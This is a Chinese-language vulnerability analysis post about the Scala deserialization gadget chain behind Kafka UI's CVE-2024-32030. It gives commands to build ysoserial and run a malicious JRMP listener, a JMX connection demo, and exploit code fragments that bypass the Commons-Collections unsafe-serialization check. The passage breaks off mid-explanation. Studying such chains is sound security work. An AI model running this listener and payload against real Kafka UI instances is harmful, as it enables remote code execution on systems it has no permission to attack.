前言
Kafka UI是Apache Kafka管理的开源Web UI。Kafka UI API允许用户通过指定网络地址和端口连接到不同的Kafka brokers。作为一个独立的功能,它还提供了通过连接到其JMX端口监视Kafka brokers性能的能力。本文主要对其中使用到的Scala反序列化链进行分析
搭建测试环境
1、首先需要设置一个恶意的JMX监听器,通过ysoserial生成一个带有有效载荷的序列化对象
git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"
2、在github上下载kafka-ui-0.7.1版本的源码,通过该项目来搭建本地测试环境就不需要考虑依赖的导入问题
https://codeload.github.com/provectus/kafka-ui/zip/refs/tags/v0.7.1
在项目目录下新建一个测试demo文件,在测试代码中模拟了Kafka UI连接到JMX服务器的过程
package com.provectus.kafka.ui;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class jmxdemo {
public static void main(String[] args) throws Exception {
System.out.println("Before:" + System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"));
String jmxUrl = "service:jmx:rmi:///jndi/rmi://192.168.85.129:1718/jmxrmi";
JMXConnector connector = null;
try {
// 创建JMX连接器
connector = JMXConnectorFactory.newJMXConnector(new JMXServiceURL(jmxUrl), null);
connector.connect();
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("After:" + System.getProperty("org.apache.commons.collections.enableUnsafeSerialization"));
}
}
分析过程
在Kafka UI中提供了一个通过JMX端口来监控Kafka代理性能的功能,JMX基于RMI协议,因此它很容易受到反序列化攻击。
系统中还存在Commons-Collections-3.2.2依赖,在CVE-2024-32030中,攻击者可以部署一个恶意的JMX服务器,当Kafka UI连接到恶意服务器时就会触发反序列化CC链达到命令执行的目的。而Commons-Collections-3.2.2相较于之前的版本增加了一个安全检查,当反序列化时要求系统属性“org.apache.commons.collections.enableUnsafeSerialization”的值为true,而该属性的默认值为null,所以就需要通过scala这条反序列化链先修改org.apache.commons.collections.enableUnsafeSerialization的值为true
通过System.getProperty()可以获取属性的值,执行上面的测试代码后可以看到成功修改了org.apache.commons.collections.enableUnsafeSerialization的值为true
System.getProperty("org.apache.commons.collections.enableUnsafeSerialization")
Lambda表达式
lambda表达式是Java8引入的一个新特性,它是一种简洁的表达式,用于创建匿名函数,所谓的匿名函数也就是没有函数名,只定义了函数的参数列表、返回类型和函数体
在下面的测试代码中使用了传统的匿名内部类和Lambda表达式来对两个数进行计算,在定义时BiFunction
表示接收两个Int类型的参数以及有一个Int类型的返回值。
在匿名类中由于使用了BiFunction接口,所以必须实现该接口里的apply()方法,因此在下面的例子中调用到Lambda表达式时,是通过runnable2.apply()的形式去调用的
public static void main(String[] args) {
// 使用传统的匿名内部类
BiFunction<Integer, Integer, Integer> runnable1 = new BiFunction<Integer, Integer, Integer>() {
@Override
public Integer apply(Integer a, Integer b) {
return
a + b;
}
};
// 使用 Lambda 表达式
BiFunction<Integer, Integer, Integer> runnable2 = (a, b) -> a * b;
// 测试
int result1 = runnable1.apply(3, 4);
int result2 = runnable2.apply(3, 4);
System.out.println("Result1: " + result1); // 输出: Result1: 7
System.out.println("Result2: " + result2); // 输出: Result2: 12
}
SerializedLambda
SerializedLambda类主要用于Java内部的Lambda表达式序列化和反序列化过程,它是一个用来表示Lambda表达式元数据的类,下面给出了一段测试代码,通过这段代码可以通过SerializedLambda类来获取Lambda表达式的元数据
package org.example.scala;
import java.io.*;
import java.lang.invoke.*;
import java.lang.reflect.Method;
import java.util.function.BiFunction;
// 创建一个扩展 BiFunction 并实现 Serializable 的接口
@FunctionalInterface
interface SerializableBiFunction<T, U, R> extends BiFunction<T, U, R>, Serializable {}
public class SerializedLambdaDemo2 {
public static void main(String[] args) throws Exception {
// 创建一个简单的 lambda 表达式
SerializableBiFunction<Integer, Integer, Integer> runnable2 = (a, b) -> a * b;
// 获取 SerializedLambda 对象
SerializedLambda serializedLambda = serializeLambda(runnable2);
// 打印 SerializedLambda 的元数据
System.out.println("Capturing class: " + serializedLambda.getCapturingClass());
System.out.println("Functional interface class: " + serializedLambda.getFunctionalInterfaceClass());
System.out.println("Functional interface method name: " + serializedLambda.getFunctionalInterfaceMethodName());
System.out.println("Functional interface method signature: " + serializedLambda.getFunctionalInterfaceMethodSignature());
System.out.println("Implementation class: " + serializedLambda.getImplClass());
System.out.println("Implementation method name: " + serializedLambda.getImplMethodName());
System.out.println("Implementation method signature: " + serializedLambda.getImplMethodSignature());
System.out.println("Implementation method kind: " + serializedLambda.getImplMethodKind());
System.out.println("Instantiated method type: " + serializedLambda.getInstantiatedMethodType());
}
private static SerializedLambda serializeLambda(Serializable lambda
) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(lambda);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object deserialized = ois.readObject();
ois.close();
Method writeReplace = deserialized.getClass().getDeclaredMethod("writeReplace");
writeReplace.setAccessible(true);
return (SerializedLambda) writeReplace.invoke(deserialized);
}
}
简单来说,SerializedLambda类就是通过初始化元数据的方式来存储Lambda表达式,它包含了Lambda表达式的元数据信息,通过这些元数据,可以在需要时反序列化SerializedLambda对象重新构造出原始的 lambda 实例。
捕获类 (capturingClass):表示定义 lambda 表达式的类。
函数接口类 (functionalInterfaceClass):表示 lambda 表达式实现的函数式接口。
函数接口方法名称 (functionalInterfaceMethodName):表示函数式接口中被实现的方法名称。
函数接口方法签名 (functionalInterfaceMethodSignature):表示函数式接口中被实现的方法签名。
实现类 (implClass):表示实际实现 lambda 表达式逻辑的类。
实现方法名称 (implMethodName):表示实际实现 lambda 表达式逻辑的方法名称。
实现方法签名 (implMethodSignature):表示实际实现 lambda 表达式逻辑的方法签名。
实现方法类型 (implMethodKind):表示方法调用的类型,如静态方法调用 (invokeStatic) 等。
实例化方法类型 (instantiatedMethodType):表示 lambda 表达式的方法类型。
捕获的参数 (capturedArgs):表示 lambda 表达式中捕获的参数。
exp分析
先在ConCurrentHashMap#putVal()下断点调试看一下调用过程,当执行到断点处时,可以看到org.apache.commons.collection.enableUnsafeSerialization的值已经被修改为true了,从左下角可以得到程序调用栈
调用栈如下
ConcurrentSkipListMap#readObject()
ConcurrentSkipListMap#cpr()
ConcurrentSkipListMap#compare()
Iterator#next()
SystemProperties#addOne()
System#setProperty()
Properties#setProperty()
Properties#put()
ConCurrentHashMap#put()
ConcurrentHashMap#putVal()
首先看exp的第一部分,先使用虚拟比较器(o1, o2)-> 1初始化ConcurrentSkipListMap
ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);
// 将view对象以键值对的形式添加到已经初始化的map对象中
map.put(view, 1);
map.put(view, 2);
// 通过反射修改map对象中comparator属性的值,将该值修改为iterableOrdering,iterableOrdering是一个对象
Field f = map.getClass().getDeclaredField("comparator");
f.setAccessible(true);
f.set(map, iterableOrdering);
1、反序列化时首先会调用到ConcurrentSkipListMap的readObject(),所以先跟进到该方法下,for循环从输入流中遍历读取map对象中键值对key和value的值,我们目的是要进入cpr(cmp,prevkey,k)中,调用到cpr()的前提条件是要prevkey!=null
2、但是prevKey初始化的值为null,因此for循环次数要大于等于两次,才能调用到下面prevKey=k,令prevkey的值不为null调用到cpr(),所以在exp中才需要map.put()执行两次,在map中存入两个键值对
3、在exp中,我们将comparator字段的值修改成了iterableOrdering对象,接着调用了cpr(),参数是comparator、prevKey和k
iterableOrdering变量是通过Java反射机制创建的一个Scala类Ordering.IterableOrdering的实例对象,所以cmp的值实际上就是iterableOrdering对象
clazz = Class.forName("scala.math.Ordering$IterableOrdering");
ctor = rf.newConstructorForSerialization(
clazz, StubClassConstructor.class.getDeclaredConstructor()
);
Object iterableOrdering = ctor.newInstance();
跟进到ConcurrentSkipListMap#cpr()中,程序会调用c.compare(x,y),这里传递的参数x,y就是map.put()是添加的键值view对象
// view也是通过Java反射机制创建的一个scala类View.Fill实例对象
Class> clazz = Class.forName("scala.collection.View$Fill");
Constructor> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));
c.compare()会跟进到scala.math.Order#compare()下,根据调用栈来看,会调用到xe.next(),会进入到iterator.next()
跟进到Iterator#next(),if语句成立,调用到elem$4.apply()
现在已经成功跟进到next()了,再来看exp中最后一部分代码,也是最关键的代码
Class> clazz = Class.forName("scala.collection.View$Fill");
// 通过反射获取Fill类的构造方法,接着通过newInstance()创建实例对象
Constructor> ctor = clazz.getConstructor(int.class, scala.Function0.class);
Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));
现在看一下ctor.newInstance()创建对象时的构造方法,传入了两个参数,一个参数类型是int,一个参数类型为Function0